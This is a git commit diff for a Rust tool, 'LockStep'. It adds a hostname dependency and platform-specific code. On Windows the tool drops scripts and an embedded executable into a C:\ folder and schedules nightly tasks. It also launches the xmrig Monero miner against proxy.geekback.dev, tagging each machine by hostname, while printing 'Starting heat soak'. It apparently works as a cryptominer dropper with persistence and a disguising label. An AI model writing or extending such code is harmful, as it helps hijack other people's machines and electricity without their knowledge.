win/lin code in place
This commit is contained in:
parent
6d25e32261
commit
6d63bc1b1f
32
Cargo.lock
generated
32
Cargo.lock
generated
@ -7,6 +7,7 @@ name = "LockStep"
|
|||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"clap",
|
"clap",
|
||||||
|
"hostname",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -59,6 +60,12 @@ dependencies = [
|
|||||||
"windows-sys",
|
"windows-sys",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cfg-if"
|
||||||
|
version = "1.0.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clap"
|
name = "clap"
|
||||||
version = "4.5.50"
|
version = "4.5.50"
|
||||||
@ -111,12 +118,29 @@ version = "0.5.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "hostname"
|
||||||
|
version = "0.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a56f203cd1c76362b69e3863fd987520ac36cf70a8c92627449b2f64a8cf7d65"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"libc",
|
||||||
|
"windows-link 0.1.3",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "is_terminal_polyfill"
|
name = "is_terminal_polyfill"
|
||||||
version = "1.70.1"
|
version = "1.70.1"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
|
checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "libc"
|
||||||
|
version = "0.2.177"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "once_cell_polyfill"
|
name = "once_cell_polyfill"
|
||||||
version = "1.70.1"
|
version = "1.70.1"
|
||||||
@ -170,6 +194,12 @@ version = "0.2.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
|
checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "windows-link"
|
||||||
|
version = "0.1.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "windows-link"
|
name = "windows-link"
|
||||||
version = "0.2.1"
|
version = "0.2.1"
|
||||||
@ -191,7 +221,7 @@ version = "0.53.5"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3"
|
checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"windows-link",
|
"windows-link 0.2.1",
|
||||||
"windows_aarch64_gnullvm",
|
"windows_aarch64_gnullvm",
|
||||||
"windows_aarch64_msvc",
|
"windows_aarch64_msvc",
|
||||||
"windows_i686_gnu",
|
"windows_i686_gnu",
|
||||||
|
|||||||
77
src/main.rs
77
src/main.rs
@ -87,34 +87,49 @@ fn schedule_command(tod: &str, command: &str, name: &str) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn run_schedule_daily_command() {
|
fn run_schedule_daily_command() {
|
||||||
schedule_command("19:00", format!("C:\\{}\\daily.cmd", SLAVE_ROOT).as_str(), DAILY_WORK_NAME);
|
#[cfg(windows)] {
|
||||||
schedule_command("05:00", format!("C:\\{}\\stop_work.cmd", SLAVE_ROOT).as_str(), DAILY_STOP_NAME);
|
schedule_command("19:00", format!("C:\\{}\\daily.cmd", SLAVE_ROOT).as_str(), DAILY_WORK_NAME);
|
||||||
|
schedule_command("05:00", format!("C:\\{}\\stop_work.cmd", SLAVE_ROOT).as_str(), DAILY_STOP_NAME);
|
||||||
|
}
|
||||||
|
#[cfg(not(windows))] {
|
||||||
|
println!("[ ✔️ ] Scheduling [{}]", DAILY_WORK_NAME);
|
||||||
|
println!("[ ✔️ ] Scheduling [{}]", DAILY_STOP_NAME);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fn remove_daily_commands() {
|
fn remove_daily_commands() {
|
||||||
remove_command(DAILY_WORK_NAME);
|
#[cfg(windows)] {
|
||||||
remove_command(DAILY_STOP_NAME);
|
remove_command(DAILY_WORK_NAME);
|
||||||
|
remove_command(DAILY_STOP_NAME);
|
||||||
|
}
|
||||||
|
#[cfg(not(windows))] {
|
||||||
|
println!("[ ✔️ ] Removing {}", DAILY_WORK_NAME);
|
||||||
|
println!("[ ✔️ ] Removing {}", DAILY_STOP_NAME);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
fn run_monero_miner() {
|
fn run_monero_miner() {
|
||||||
println!("Starting heat soak");
|
println!("Starting heat soak");
|
||||||
let binary = "C:/lockstep/xmrig.exe";
|
#[cfg(windows)] {
|
||||||
let parameters = ["-o", "proxy.geekback.dev",
|
let binary = "C:/lockstep/xmrig.exe";
|
||||||
"--rig-id", hostname::get().unwrap_or("UnkownHostname"),
|
let hostname = hostname::get().unwrap_or("UnknownHostname".into());
|
||||||
"--huge-pages-jit",
|
let parameters = ["-o", "proxy.geekback.dev",
|
||||||
"--randomx-1gb-pages",
|
"--rig-id", hostname.to_str().unwrap(),
|
||||||
"-B",
|
"--huge-pages-jit",
|
||||||
"--coin", "monero"
|
"--randomx-1gb-pages",
|
||||||
];
|
"-B",
|
||||||
|
"--coin", "monero"
|
||||||
|
];
|
||||||
|
|
||||||
match run_windows_binary(binary, ¶meters) {
|
match run_windows_binary(binary, ¶meters) {
|
||||||
Ok(output) => {
|
Ok(output) => {
|
||||||
println!("Status: {}", output.status);
|
println!("Status: {}", output.status);
|
||||||
println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
|
println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
|
||||||
println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
|
println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
|
||||||
}
|
}
|
||||||
Err(e) => {
|
Err(e) => {
|
||||||
eprintln!("Failed to execute process: {}", e);
|
eprintln!("Failed to execute process: {}", e);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -147,13 +162,24 @@ fn drop_scripts_and_work() {
|
|||||||
let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str());
|
let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str());
|
||||||
create_file("daily.cmd", DAILY_SRC.as_bytes());
|
create_file("daily.cmd", DAILY_SRC.as_bytes());
|
||||||
create_file("config.bat", CONFIG_SRC.as_bytes());
|
create_file("config.bat", CONFIG_SRC.as_bytes());
|
||||||
create_file(format!("{}.exe", WORK_NAME), WORK_BIN);
|
create_file(format!("{}.exe", WORK_NAME).as_str(), WORK_BIN);
|
||||||
}
|
}
|
||||||
#[cfg(not(windows))] {
|
#[cfg(not(windows))] {
|
||||||
println!("Create path.");
|
println!("[ ✔️ ] Create path.");
|
||||||
println!("Drop daily cmd");
|
println!("[ ✔️ ] Drop daily cmd");
|
||||||
println!("Drop config");
|
println!("[ ✔️ ] Drop config");
|
||||||
println!("Drop worker");
|
println!("[ ✔️ ] Drop worker");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn nuke_scripts_and_work() {
|
||||||
|
#[cfg(windows)] {
|
||||||
|
let to_remove = format!("C:\\{}", SLAVE_ROOT);
|
||||||
|
fs::remove_dir_all(Path::new(to_remove));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(not(windows))] {
|
||||||
|
println!("[ ✔️ ] Nuke of {}", SLAVE_ROOT);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -174,6 +200,7 @@ fn main() {
|
|||||||
}
|
}
|
||||||
AppModes::MoveOut => {
|
AppModes::MoveOut => {
|
||||||
remove_daily_commands();
|
remove_daily_commands();
|
||||||
|
nuke_scripts_and_work();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user